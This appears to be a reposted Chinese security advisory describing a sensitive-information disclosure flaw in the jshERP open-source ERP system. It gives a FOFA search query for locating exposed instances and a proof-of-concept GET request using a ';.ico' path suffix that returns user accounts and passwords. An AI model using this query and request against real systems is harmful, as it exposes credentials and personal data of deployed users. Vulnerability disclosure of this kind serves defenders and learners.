jshERP敏感信息泄露漏洞

admin 2023年11月4日17:20:41评论23 views字数 839阅读2分47秒阅读模式

免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。


jshERP敏感信息泄露漏洞

一、漏洞介绍

jshERP立志为中小企业提供开源好用的ERP软件,降低企业的信息化成本,目前专注进销存+财务功能。主要模块有零售管理、入库管理、出库管理、组装拆卸、财务管理、报表查询、基础数据、系统管理等。支持预付款、收入支出、仓库调拨、采购销售、礼品卡等特色功能。拥有库存状况、出入库统计等报表。同时对角色和权限进行了细致全面,精确到每个按钮和菜单。

该系统存在敏感信息泄露漏洞,通过此漏洞攻击者可以获取系统用户,登录用户名,密码,职位等个人敏感信息。

jshERP敏感信息泄露漏洞


二、网络空间搜索引擎搜索

fofa查询

"jshERP-boot"


jshERP敏感信息泄露漏洞


三、漏洞复现

直接浏览器访问路径

/jshERP-boot/user/getAllList;.ico

POC

GET /jshERP-boot/user/getAllList;.ico HTTP/1.1Host:User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip

jshERP敏感信息泄露漏洞


由于浏览器可直接访问获取账号密码,简单且危险性较大,这里就不太提供批量检测代码


免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。


jshERP敏感信息泄露漏洞


原文始发于微信公众号(网络安全透视镜):jshERP敏感信息泄露漏洞

  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月4日17:20:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   jshERP敏感信息泄露漏洞http://cn-sec.com/archives/2175805.html

发表评论

匿名网友 填写信息